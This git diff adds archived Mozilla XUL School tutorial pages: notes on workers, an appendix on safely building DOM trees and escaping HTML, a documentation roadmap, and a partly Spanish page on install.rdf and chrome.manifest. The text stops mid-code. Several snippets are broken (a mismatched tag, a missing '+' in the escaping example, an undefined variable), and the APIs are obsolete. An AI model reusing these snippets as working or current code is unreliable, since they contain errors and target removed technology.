+<ul>
+ <li><strong>Asynchronous</strong>: Workers execute asynchronously in their own threads, which means that they have limited risk of interfering with the main thread. They may safely perform synchronous <code>XMLHttpRequests</code> or other intensive computation which would normally need to be broken up into multiple callbacks.</li>
+ <li><strong>Safety</strong>: As workers have no access to objects which might cause a crash or deadlock when executed re-entrantly or by spinning the event loop, there are significant safety advantages over other methods of asynchronous execution.</li>
+</ul>
+
+<h3 id="Disadvantages_5">Disadvantages</h3>
+
+<ul>
+ <li><strong>Limited scoping:</strong> As data from the main thread may only be accessed via JSON message passing, there are significant difficulties in performing many operations in Worker scopes.</li>
+ <li><strong>DOM Access</strong>: As there is no DOM access in Worker scopes, <code>XMLHttpRequests</code> may not easily be used with XML or HTML sources, and should instead only be used with JSON or other text-based sources.</li>
+ <li><strong>Debugging</strong>: JSD knows nothing about Workers and no JavaScript debuggers work on them.</li>
+</ul>
+
+<h2 id="Jetpack_Processes">Jetpack Processes</h2>
+
+<p><a href="/en/Jetpack_Processes" title="en/Jetpack_Processes"><code>nsIJetpack</code> classes</a> are very similar to DOM workers, except that modules execute in entirely separate processes rather than separate threads. Additionally, rather than directly loading files, scripts are executed by evaluating strings.</p>
+
+<h3 id="Advantages_6">Advantages</h3>
+
+<ul>
+ <li><strong>Stability:</strong> As code running in Jetpack processes is isolated from the main process, crashes in these processes are unlikely to bring down the main process as well, though they may put a halt to functionality provided by the script or any functionality reliant on it.</li>
+ <li>The advantages of DOM Workers listed above also apply to Jetpack processes</li>
+</ul>
+
+<h3 id="Disadvantages_6">Disadvantages</h3>
+
+<ul>
+ <li><strong>Performance:</strong> As scripts must be evaluated from strings, they are impossible to cache, which has significant performance implications for large code bases.</li>
+ <li>The disadvantages of DOM Workers listed above also apply to Jetpack processes</li>
+</ul>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/apéndice_e_colon__dom_e_inserción_html/index.html b/files/es/mozilla/tech/xul/escuela_xul/apéndice_e_colon__dom_e_inserción_html/index.html
new file mode 100644
index 0000000000..66073bcc6b
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/apéndice_e_colon__dom_e_inserción_html/index.html
@@ -0,0 +1,244 @@
+---
+title: 'Apéndice E: DOM e inserción HTML'
+slug: 'Mozilla/Tech/XUL/Escuela_XUL/Apéndice_E:_DOM_e_inserción_HTML'
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/DOM_Building_and_HTML_Insertion
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>Many add-ons need to dynamically generate DOM content, either XUL or HTML, from their scripts. For security reasons, and to prevent errors, care needs to be taken to avoid evaluating arbitrary text as HTML. Failure to do so can lead to execution or remote scripts, and in the worst cases to privilege escalation which can leave a user's PC open to remote attack.</p>
+
+<h2 id="Building_DOM_Trees">Building DOM Trees</h2>
+
+<p>In most cases, DOM trees should be built exclusively with DOM creation methods. The following methods will all safely create a DOM tree without risk of remote execution.</p>
+
+<h3 id="E4X_Templating">E4X Templating</h3>
+
+<p>The following function can be used to generate DOM nodes from <a href="/en/E4X" title="en/E4X">E4X</a> XML objects. It has the advantage of appearing identical to ordinary HTML, but the disadvantage of being nearly exclusive to Firefox.</p>
+
+<pre class="brush: js">var HTML = Namespace("html", "http://www.w3.org/1999/xhtml");
+var XUL = Namespace("xul", "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul");
+
+default xml namespace = HTML;
+function xmlToDOM(xml, doc, nodes) {
+   if (xml.length() != 1) {
+       let domnode = doc.createDocumentFragment();
+       for each (let child in xml)
+           domnode.appendChild(xmlToDOM(child, doc, nodes));
+       return domnode;
+   }
+   switch (xml.nodeKind()) {
+   case "text":
+       return doc.createTextNode(String(xml));
+   case "element":
+       let domnode = doc.createElementNS(xml.namespace(), xml.localName());
+       for each (let attr in xml.@*::*)
+           domnode.setAttributeNS(attr.namespace(), attr.localName(), String(attr));
+
+       for each (let child in xml.*::*)
+           domnode.appendChild(xmlToDOM(child, doc, nodes));
+       if (nodes &amp;&amp; "@key" in xml)
+           nodes[xml.@key] = domnode;
+       return domnode;
+   default:
+       return null;
+   }
+}</pre>
+
+<p>When passed an XML literal and a document, it returns the DOM tree corresponding to the XML for that document. If passed a third argument, the DOM node created for any element with a "key" attribute, is stored in a property of the given object named for the "key" attribute's value.</p>
+
+<pre class="brush: js">default xml namespace = XUL;
+
+var href = "http://www.google.com/";
+var text = "Google";
+var nodes = {};
+document.documentElement.appendChild(
+    xmlToDOM(&lt;hbox xmlns:html={HTML}&gt;
+            &lt;html:div&gt;
+                &lt;a href={href} target="_top" key="link"&gt;{text}&lt;/a&gt;
+            &lt;/html:div&gt;
+        &lt;/hhox&gt;,
+        document, nodes);
+
+    nodes.link.addEventListener("click", function (event) { alert(event.target.href); }, false);</pre>
+
+<h3 id="JSON_Templating">JSON Templating</h3>
+
+<p>For code which needs to be cross-browser compatible, a similar templating system can be used, based on JSON objects rather than E4X. It also has the advantage of being slightly more concise than the E4X variant, though no easier to read.</p>
+
+<pre class="brush: js">var namespaces = {
+    html: "http://www.w3.org/1999/xhtml",
+    xul: "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+};
+
+jsonToDOM.defaultNamespace = namespaces.html;
+function jsonToDOM(xml, doc, nodes) {
+    function namespace(name) {
+       var m = /^(?:(.*):)?(.*)$/.exec(name);
+       return [namespaces[m[1]], m[2]];
+    }
+
+   function tag(name, attr) {
+       if (isArray(name)) {
+           var frag = doc.createDocumentFragment();
+           Array.forEach(arguments, function (arg) {
+               if (!isArray(arg[0]))
+                   frag.appendChild(tag.apply(null, arg));
+               else
+                   arg.forEach(function (arg) {
+                       frag.appendChild(tag.apply(null, name[i]));
+                   });
+           });
+           return frag;
+       }
+
+       var args = Array.slice(arguments, 2);
+       var vals = namespace(name);
+       var elem = doc.createElementNS(vals[0] || jsonToDOM.defaultNamespace,
+                                      vals[1]);
+
+       for (var key in attr) {
+           var val = attr[key];
+           if (nodes &amp;&amp; key == "key")
+               nodes[val] = elem;
+
+           vals = namespace(key);
+           if (typeof val == "function")
+               elem.addEventListener(key.replace(/^on/, ""), val, false);
+           else
+               elem.setAttributeNS(vals[0] || "", vals[1], val);
+       }
+       args.forEach(function(e) {
+           elem.appendChild(typeof e == "object" ? tag.apply(null, e) :
+                            e instanceof Node    ? e : doc.createTextNode(e));
+       });
+       return elem;
+   }
+   return tag.apply(null, xml);
+}</pre>
+
+<p>In the above, the <code>namespaces</code> object defines the namespace prefixes which can be used in the given DOM tree. Event listeners can be defined on the given nodes by passing functions rather than strings to on* attributes.</p>
+
+<pre class="brush: js">var href = "http://www.google.com/";
+var text = "Google";
+var nodes = {};
+document.documentElement.appendChild(
+    jsonToDOM(["xul:hbox", {},
+        ["div", {},
+            ["a", { href: href, key: "link",
+                    onclick: function (event) { alert(event.target.href); } },
+                text],
+            ["span", { class: "stuff" },
+                "stuff"]]],
+        document, nodes));
+
+alert(nodes.link);</pre>
+
+<h3 id="jQuery_Templating">jQuery Templating</h3>
+
+<p>For extensions which already use jQuery, it is possible to use its builtin DOM building functions for templating, though care must be taken when passing non-static strings to methods such as <code>.append()</code> and <code>.html()</code>. In most cases, <code>.text()</code> should be used instead of the latter. When using the <code>jQuery</code> constructor, only empty tags should be specified in order to avoid invoking the DOM parser.</p>
+
+<pre class="brush: js">var href = "http://www.google.com/";
+var text = "Google";
+ $("body").append(
+    $("&lt;div&gt;", { class: "foo" })
+        .append($("&lt;a&gt;", { href: href, text: text })
+                    .click(function (event) { alert(event.target.href) }))
+        .append($("&lt;span&gt;").text("Foo")));</pre>
+
+<h3 id="innerHTML_with_HTML_Escaping">innerHTML with HTML Escaping</h3>
+
+<p>This method is a last resort which should be used only as a temporary measure in established code bases. It is safe, though inefficient, to assign dynamic values to <code>innerHTML</code> if any dynamic content in the value is escaped with the following function:</p>
+
+<pre class="brush: js">function escapeHTML(str) str.replace(/[&amp;"&lt;&gt;]/g, function (m) "&amp;" + ({ "&amp;": "amp", '"': "quot", "&lt;": "lt", "&gt;": "gt" })[m] + ";");</pre>
+
+<p>Note that quotation marks must be escaped in order to prevent fragments escaping attribute values, and that single quotes may not be used to quote attribute values in the fragment.</p>
+
+<pre class="brush: js">var href = "http://www.google.com/";
+var text = "Google";
+
+document.getElementById("target-div").innerHTML = '&lt;div&gt;\
+        &lt;a href="' + escapeHTML(href) '" target="_top"&gt;' + escapeHTML(text) + '&lt;/a&gt;\
+    &lt;/div&gt;'</pre>
+
+<p>It needs to be stressed that this method <strong>should not be used in new code</strong> and is only a temporary measure to shore up legacy code bases.</p>
+
+<h2 id="Safely_Generating_Event_Listeners_and_Scripts">Safely Generating Event Listeners and Scripts</h2>
+
+<p>It is occasionally necessary to generate event listeners and script fragments from dynamic content. Great care must be taken in these situations. Under no circumstances should code resembling <code>'callback("' + str + '")'</code> appear anywhere in your add-on.</p>
+
+<h3 id="Closures">Closures</h3>
+
+<p>By far the best way to create dynamic event listeners is to use closures. The following two code fragments are roughly equivalent:</p>
+
+<pre class="brush: js">function clickify(elem, address) {
+    elem.addEventListener("click", function (event) { openWindow(address) }, false);
+}
+
+function clickify(elem, address) {
+    elem.onclick = function (event) { openWindow(address) };
+}</pre>
+
+<h3 id="Multiple_Attributes">Multiple Attributes</h3>
+
+<p>Sometimes there is a need for event listeners to appear as attributes in the DOM. In these cases, multiple attributes should be used, one for each variable:</p>
+
+<pre class="brush: js">function clickify(elem, address) {
+    elem.setAttribute("href", address);
+    elem.setAttribute("onclick", "openWindow(this.getAttribute('href'))");
+}</pre>
+
+<h3 id="Escaping_Functions">Escaping Functions</h3>
+
+<p>When the code fragment in question is not an event handler attribute and there is no feasible way to pass the data through other means, they must be escaped with functions such as <code>uneval</code>, <a href="/en/JavaScript/Reference/Global_Objects/String/quote" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String/quote"><code>String.quote</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/JSON/stringify" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/JSON/stringify"><code>JSON.stringify</code></a>, or <a href="/en/JavaScript/Reference/Global_Objects/Number" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Number">Number</a>. Generating scripts in this matter is deprecated and <strong>should be avoided wherever possible</strong>, but is relatively safe and sometimes acceptable.</p>
+
+<pre class="brush: js">function createScript(href, otherStuff) {
+    var script = function (href, otherStuff) {
+        doStuffWith(href);
+        doOtherStuff();
+        for (var someStuff in otherStuff)
+            doSomeMoreStuffWith(someStuff);
+    }
+
+    return script.toSource() + "(" + [String.quote(href), uneval(otherStuff)] + ")";
+}</pre>
+
+<h2 id="Safely_Using_Remote_HTML">Safely Using Remote HTML</h2>
+
+<p>In the above cases, we're working with text content that needs to appear in generated DOM. There are cases, however, where we need to safely display formatted HTML sent by a remote server. Fortunately, there is a safe and simple way to do this. The {{ ifmethod("nsIScriptableUnescapeHTML","parseFragment") }} method will convert a string to a document fragment while removing any scripts or other unsafe content in the process.</p>
+
+<pre class="brush: js">function ParseHTML(doc, html) {
+    return Components.classes["@mozilla.org/feed-unescapehtml;1"]
+                     .getService(Components.interfaces.nsIScriptableUnescapeHTML)
+                     .parseFragment(html, false, null, doc.documentElement);
+}</pre>
+
+<p>The returned fragment may be appended to any element in the given document.</p>
+
+<pre class="brush: js">document.body.appendChild(ParseHTML(document, xhr.responseText, xhr.channel.name);</pre>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/En/Displaying_web_content_in_an_extension_without_security_issues" title="En/Displaying_web_content_in_an_extension_without_security_issues">Displaying web content in an extension without security issues</a></li>
+ <li><a href="/en/How_to_create_a_DOM_tree" title="https://developer.mozilla.org/en/How_to_create_a_DOM_tree">How to create a DOM tree</a></li>
+ <li>{{ domxref("Node.textContent") }}</li>
+ <li>{{ domxref("Node.appendChild()") }}</li>
+ <li>{{ domxref("element.setAttribute()") }}</li>
+ <li><a href="/en/DOM/document.createElement" title="en/DOM/document.createElement">document.createElement()</a></li>
+ <li><a href="/en/DOM/document.createTextNode" title="en/DOM/document.createTextNode">document.createTextNode()</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Kris Maglione</li>
+ <li>Last Updated Date: 2011-08-08</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/documentación_de_mozilla/index.html b/files/es/mozilla/tech/xul/escuela_xul/documentación_de_mozilla/index.html
new file mode 100644
index 0000000000..0928dec065
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/documentación_de_mozilla/index.html
@@ -0,0 +1,72 @@
+---
+title: Documentación de Mozilla
+slug: Mozilla/Tech/XUL/Escuela_XUL/Documentación_de_Mozilla
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Mozilla_Documentation_Roadmap
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Notificaciones_de_usuario_y_alertas", "Escuela_XUL/Sitios_útiles_de_la_comunidad_Mozilla") }}</p>
+
+<h2 id="Mozilla_Documentation">Mozilla Documentation</h2>
+
+<p>Firefox extension development is still an immature discipline, with a developer base consisting mostly of hobbyists and just a few organized development groups. There's a great deal of free online documentation available on XUL and extension development, but finding it and turning it into useful information can be a daunting task. Knowing where to look is critical and non trivial. This tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach.</p>
+
+<p>Let's look into the resources that have helped us the most.</p>
+
+<h2 id="The_Mozilla_Developer_Center">The Mozilla Developer Center</h2>
+
+<p>This is the official and most extensive guide to everything related to Mozilla. MDC is where this tutorial is hosted, and where most of its links point to. It encompasses Firefox, other Mozilla products, Javascript, CSS, XUL, web and extension development guidelines, accessibility, usability, best practices... The list goes on. It's incredibly comprehensive, and its underlying Wiki technology makes it easy to expand and evolve with the help of the community.</p>
+
+<p>Having said that, there are a few problems with it. First of all, the in-site search is not reliable, so we recommend using a search engine like Google, with queries such as "MDC Javascript Code Modules" or "Javascript code modules site:developer.mozilla.org". Secondly, there are several important articles that are very lacking in information, like the <a href="/en/Preferences/Preferences_system" title="en/Preferences System">Preferences System</a> page. And finally, what we mentioned in our XPCOM section: almost no documentation on XPCOM components. The documentation on interfaces is very complete, but it isn't nearly as useful as the documentation that existed at <a class="external" href="http://xulplanet.com/">XULPlanet</a> and was later taken down. XULPlanet allowed you to navigate between interfaces and their related components, which makes locating components very easy. Hopefully this will be corrected in the future. In the meantime, you can still navigate XULPlanet using the <a class="external" href="http://www.archive.org/web/web.php" title="http://www.archive.org/web/web.php">Wayback Machine</a>.</p>
+
+<p>MDC should be your first stop when looking for documentation. If you find it lacking or missing some piece of information, please consider adding it once you've found it. Everyone looking for it later will thank you for it.</p>
+
+<h2 id="The_AMO_Developer_Hub">The AMO Developer Hub</h2>
+
+<p>The <a class="link-https" href="https://addons.mozilla.org/developers/" title="https://addons.mozilla.org/developers/">AMO Developer Hub</a> is a great guide for add-on developers. It includes links to tutorials and documentation, development tools, and most notably, the <a class="link-https" href="https://forums.addons.mozilla.org/" title="https://forums.addons.mozilla.org/">Mozilla Add-ons Forum</a>. This is a great place to ask questions and have them answered by experienced developers. It also includes discussions on add-on monetization, job postings and a long list of add-on ideas waiting to be developed.</p>
+
+<h2 id="The_Mozilla_Source">The Mozilla Source</h2>
+
+<p>Sometimes you need more than just a tutorial. There are various tricks that you can't learn anywhere, but you know that Firefox implements them in some way. In these cases you should dive into Mozilla's source code and try to locate the code you need. One way to do this is to look into your Firefox installation directory, maybe unpack a few JARs and see what's inside. But this is very awkward and limited. It would be much better to be able to search and navigate through the huge code base with some ease.</p>
+
+<p>Luckily, Mozilla provides exactly that in the <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">Mozilla Cross-Reference</a>. The main index in this page gives you options to look into the different product branches in development at Mozilla. Make sure you pick the one that matches your target versions.</p>
+
+<p>All of these provide advanced search capabilities, including regular expression search and file path search. You'll be able to navigate the full source tree, inspect the change history for all files, and link to specific code lines. It takes a little getting used to, specially learning how to choose the best search queries, but it's an invaluable resource of information.</p>
+
+<h2 id="Mozilla_Blogs">Mozilla Blogs</h2>
+
+<p>Several Mozilla community members maintain blogs that are updated frequently, often including information on API changes, bug fixes, useful tools and future release plans. Many of the tips and tricks included in this tutorial were discovered by reading these blogs.</p>
+
+<p>There are several useful feeds that you can follow using a feed reader, such as Thunderbird. Here are some important feeds you should consider following:</p>
+
+<ul>
+ <li><a class="external" href="http://planet.mozilla.org/">Planet Mozilla</a>. This is the ultimate source for everything related to Mozilla. It brings together the feeds of most Mozilla employees, as well as several other members of the Mozilla community. Feeds are added frequently, so the information available through it will only grow with time. It can be hard to follow due of the sheer mass of information coming out of it (dozens of posts per day), but you'll certainly be up to date with pretty much everything if you take the time to read at least part of it.</li>
+ <li>The <a class="external" href="/devnews/index.php/categories/about-mozilla" title="devnews/index.php/categories/about-mozilla">about:mozilla newsletter</a> is a weekly publication that includes the highlights of what is posted at Planet Mozilla. It is a good alternative if you feel Planet Mozilla is too much. You can also subscribe to receive it by email if you prefer that. Posts on about:mozilla also make it to Planet Mozilla.</li>
+ <li>The <a class="external" href="http://blog.mozilla.com/addons/" title="http://blog.mozilla.com/addons/">Mozilla Add-ons Blog</a>. This blog is maintained by the Add-ons Team at Mozilla, and it's a great way to stay up to date with AMO development and add-on review policies. This blog is also part of Planet Mozilla.</li>
+</ul>
+
+<h2 id="IRC_and_newsgroups">IRC and newsgroups</h2>
+
+<p>Mozilla developers use their <a class="external" href="http://irc.mozilla.org/">IRC channels</a> heavily. There are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers. You'll need an IRC client in order to do this, and the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/16?id=16">Chatzilla</a> extension works well for this purpose. Problems using IRC include: finding help when you have a big timezone difference with the United States, and no records of previously asked questions and their answers.</p>
+
+<p>Another somewhat obscure communication channel is the <a class="external" href="http://www.mozilla.org/community/developer-forums.html">Mozilla Newsgroups</a>. They are also very diverse and active, and there's a good chance you'll get your queries answered. Thunderbird also comes in handy for reading and posting to the newsgroups. Another advantage is that discussions are archived and searchable through Google Groups.</p>
+
+<h2 id="Other">Other</h2>
+
+<p>And finally, a couple resources you should also keep in mind:</p>
+
+<ul>
+ <li>Other extensions. There are thousands of extensions out there, and you may strike luck and find one that does exactly what you need. Be sure to look at the license the extension's code is released with before thinking about copying large sections of it. Also, remember to give credit when it's due.</li>
+ <li><a class="external" href="http://bugzilla.mozilla.org/">Mozilla's Bugzilla repository</a>. Pretty much every code change done in Firefox and Mozilla projects is documented in this huge tracking database. But this also means that finding exactly what you need can be time-consuming, and often fruitless. The advanced search is very useful in filtering results, but it is our experience that it's often better to be too general than too specific. Better to scan a list of hundreds of bugs than getting no results at all, right?</li>
+ <li>Anywhere else. Use your favorite search engine and patiently look for answers. It's better to take a long time finding an answer than taking even longer doing something that has already been done.</li>
+</ul>
+
+<p>Good luck!</p>
+
+<p>{{ PreviousNext("Notificaciones_de_usuario_y_alertas", "Escuela_XUL/Sitios_útiles_de_la_comunidad_Mozilla") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/elementos_esenciales_de_una_extensión/index.html b/files/es/mozilla/tech/xul/escuela_xul/elementos_esenciales_de_una_extensión/index.html
new file mode 100644
index 0000000000..9fdbda1f36
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/elementos_esenciales_de_una_extensión/index.html
@@ -0,0 +1,417 @@
+---
+title: Elementos esenciales de una extensión
+slug: Mozilla/Tech/XUL/Escuela_XUL/Elementos_esenciales_de_una_extensión
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/The_Essentials_of_an_Extension
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Introducción_a_las_extensiones_de_Firefox", "Escuela_XUL/Montando_un_ambiente_de_desarrollo") }}</p>
+
+<h2 id="El_archivo_install.rdf">El archivo install.rdf</h2>
+
+<p>En la última sección miramos a los contenidos de la extensión Hola Mundo. Ahora, miraremos sus archivos y su código, comenzando con el archivo <em>install.rdf</em>. Puedes abrirlo con cualquier editor de texto.</p>
+
+<p>El archivo tiene un formato distinto del XML tradicional, llamado <a class="external" href="http://en.wikipedia.org/wiki/Resource_Description_Framework">RDF</a>. RDF solía ser el mecanismo central de almacenamiento para Firefox, pero está siendo reemplazado por un sistema de bases de datos más sencillo. Hablaremos de ambos más adelante en este tutorial.</p>
+
+<p>Ahora, miremos a las partes importantes  del archivo.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;em:id&gt;holamundo@xulschool.com&lt;/em:id&gt;</pre>
+</div>
+</div>
+
+<p>Este es el identificador único para la extensión. Firefox necesita esto para distinguir tu extensión de otras extensiones, así que se requiere que tengas una ID única.</p>
+
+<p>Hay dos estándares aceptados para las ids de las extensiones. Una es el formato email presente en el ejemplo de Hola Mundo, que sería algo como <em>&lt;nombreproyecto-name&gt;@&lt;tudominio&gt;</em>. El otro estándar es usar una cadena de texto <a class="external" href="http://en.wikipedia.org/wiki/Uuid">UUID</a>, la cuál es extremadamente única, y es muy improbable que sea duplicada. Los sistemas basados en Unix tienen una herramienta desde la línea de comandos llamada <em>uuidgen</em> que genera UUIDs. Estas también se pueden crear utilizando herramientas específicas para todos los sistemas. Los paréntesis que cierran son simplemente notación, y son una práctica común. Siempre y cuando tu id sea única, está bien usar cualquiera de las formas.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;em:name&gt;XUL School Hello Worldem:name&gt;
+&lt;em:description&gt;Welcome to XUL School!&lt;/em:description&gt;
+&lt;em:version&gt;0.1&lt;/em:version&gt;
+&lt;em:creator&gt;Appcoast&lt;/em:creator&gt;
+<span class="code-comment">&lt;em:homepageURL&gt;https://developer.mozilla.org/en/XUL_School&lt;/em:homepageURL&gt;</span></pre>
+</div>
+</div>
+
+<p>Esta será la información que será mostrada antes y después de la que la extensión sea instalada, la que puedes ver en la ventana de Extensiones. La URL de la página principal puede ser visitada haciendo clic derecho en la extensión y eligiendo Visitar página principal. Hay muchas otras etiquetas que pueden ser añadidas, para contribuidores y traductores. La <a href="/en/Install_Manifests" title="en/Install Manifests">especificación completa</a> del archivo install.rdf tiene todos los detalles.</p>
+
+<p>Ya que las extensiones pueden ser traducidas en múltiples idiomas, suele ser necesario traducir la descripción de la extensión, o incluso su nombre. A partir de Firefox 3 y superior, una descripción y nombres con localización específica se puede añadir de la siguiente manera:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;em:localized&gt;
+  &lt;Description&gt;
+    &lt;em:locale&gt;es-ES&lt;/em:locale&gt;
+    &lt;em:name&gt;XUL School Hola Mundo&lt;/em:name&gt;
+    &lt;em:description&gt;¡Bienvenido a XUL School!&lt;/em:description&gt;
+  &lt;/Description&gt;
+&lt;/em:localized&gt;</pre>
+</div>
+</div>
+
+<p>La cadena de texto <em>es-ES</em> indica que esta es la localización para española (es) para España (ES). Puedes añadir tantos <em>&lt;em:localized&gt;</em> como necesites Para Firefox 2, localizar este archivo es un <a href="/en/Localizing_extension_descriptions#Localizing_before_Gecko_1.9" title="en/Localizing extension descriptions#Localizing before Gecko 1.9">poco más complicado</a>. Hablaremos de la localizacion más adelante en esta sección.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;em:type&gt;2&lt;/em:type&gt;</pre>
+</div>
+</div>
+
+<p>Esto especifica que la extensión se instala como una extensión (y no como un tema, por ejemplo). Puedes leer los distintos tipos disponibles en la  <a href="/en/Install_Manifests#type" title="en/Install Manifests#type">especificación de install.rdf</a>.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;em:targetApplication&gt;
+  &lt;Description&gt;
+    &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
+    &lt;em:minVersion&gt;3.0&lt;/em:minVersion&gt;
+    &lt;em:maxVersion&gt;6.0a1&lt;/em:maxVersion&gt;
+  &lt;/Description&gt;
+&lt;/em:targetApplication&gt;</pre>
+</div>
+</div>
+
+<p>Este nodo especifica a qué versiones apunta la extensión, especialmente Firefox, desde la versión 3.0 hasta las versiones experimentales de Firefox 6. La UUID es la ID única de Firefox. Otras aplicaciones y aplicaciones basadas en Mozilla como Thunderbird o Seamonkey tienen las suyas propias. Puedes tener una extensión que funcione en múltiples aplicaciones y versiones. Por ejemplo, si creas una extensión para Firefox, normalmente se debería hacer el pequeño esfuerzo para portarla a Flock o SeaMonkey, los cuáles tienen funciones y UI similares.</p>
+
+<p>La versión mínima y máxima especifica el rango en el cuál la extensión puede ser instalada. Aquí hay más sobre el <a href="/en/Toolkit_version_format" title="en/Toolkit version format">formato de la versión</a>. Si la aplicación o el rango de versiones no coinciden, no podrás instalar la aplicación, o la aplicación se instalará desactivada. Los usuarios pueden desactivar la comprobación de versiones a través de las preferencias o a través de extensiones como <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/15003" title="https://addons.mozilla.org/en-US/firefox/addon/15003">Add-on Compatibility Reporter</a>.</p>
+
+<p>Esta es toda la información que Firefox y otras aplicaciones de Mozilla necesitan para instalar una extensión. Cualquier error o información omitida causará un error en el proceso de instalación, o la extensión se instalará como desactivada.</p>
+
+<h2 id="El_archivo_chrome.manifest">El archivo chrome.manifest</h2>
+
+<blockquote>
+<p>Chrome es el conjunto de elementos gráficos para el usuario de la ventana de la aplicación que están fuera del contenido de la ventana. Barras de herramientas, de menús, de progreso y de título son ejemplos de elementos que son parte de chrome.</p>
+</blockquote>
+
+<p>Extraído de <a href="/en/Chrome_Registration" title="en/Chrome Registration">Chrome Registration</a>.</p>
+
+<p>En otras palabras, el chrome es todo lo que ves en Firefox. Todas las ventanas de Firefox pueden verse en dos partes: (1) la chrome y (2) la posible área de contenido, como aquella que muestra las páginas web en una pestaña de Firefox. Las ventanas como el administrador de extensiones o la ventana de descargas son puro chrome. La mayoría del código reside en la carpeta chrome, como en el ejemplo de Hola Mundo.</p>
+
+<p>Los archivos chrome están empacados en un archivo JAR, normalmente nombrados tras la extensión. No es necesario empacar los archivos chrome, pero es una práctica común y recomendada por razones de rendimiento.</p>
+
+<p> </p>
+
+<p>Como hemos visto en la estructura de directorios de la extensión desempacada, la chrome está compuesta de 3 secciones: content, locale y skin. Estas 3 son necesarias para la mayoría de las extensiones. Si abrimos el archivo <em>chrome.manifest</em> (de nuevo, cualquier editor de texto servirá), veremos que las 3 secciones se mencionan:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">content   xulschoolhello              jar:chrome/xulschoolhello.jar!/content/
+skin      xulschoolhello  classic/1.0 jar:chrome/xulschoolhello.jar!/skin/
+locale    xulschoolhello  en-US       jar:chrome/xulschoolhello.jar!/locale/en-US/</pre>
+</div>
+</div>
+
+<p>El archivo <em>chrome.manifest</em> le dice a Firefox donde mirar para los archivos chrome. El texto contiene varios espacios para que parezca una tabla, pero no es necesario. El parseador ignorará los espacios repetidos.</p>
+
+<p>La pimera línea le dice a Firefox que está siendo declarado (content, skin, locale, u otros que veremos más adelante). La segunda es el nombre del paquete, el cuál explicaremos en breve. Los paquetes skin y locale tienen un tercer valor para especificar que localización o tema están extendiendo. Puede haber múltiples temas y entradas de localización en relación a distintos temas y localizaciones. El caso más común es tener una entrada skin para el skin global, <em>classic/1.0</em>, y múltiples entradas locale, una para cada traducción. Finalmente, la localización es especificada.<br>
+ Nótese del esquema <em>jar</em><em>;</em> le dice a Firefox que mire dentro del archivo JAR y lea los archivos del camino correcto. Si quieres tener una extensión con un directorio chrome desempacado, sólo necesitas cambiar los lugares a algo como <em>chrome/content</em>/.</p>
+
+<p> </p>
+
+<p>Hay algunas opciones adicionales que pueden ser incluidas en las entradas del archivo <em>chrome.manifest</em>. Están documentadas en la página de <a href="/en/Chrome_Registration" title="en/Chrome Registration">Chrome Registration</a>. Notablemente, podemos tener distintas entradas que sean específicas para cada SO. Esto es importante, especialmente en Firefox 3 y versiones superiores, donde la apariencia del navegador es muy diferente para cada sistema operativo. Si nuestra extensión necesitase parecer diferente en los sistemas mayoritarios, podríamos cambiar el archivo de manifiesto para que incluyese esto:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">content   xulschoolhello              jar:chrome/xulschoolhello.jar!/content/
+skin      xulschoolhello  classic/1.0 jar:chrome/xulschoolhello.jar!/skin/unix/
+skin      xulschoolhello  classic/1.0 jar:chrome/xulschoolhello.jar!/skin/mac/ os=Darwin
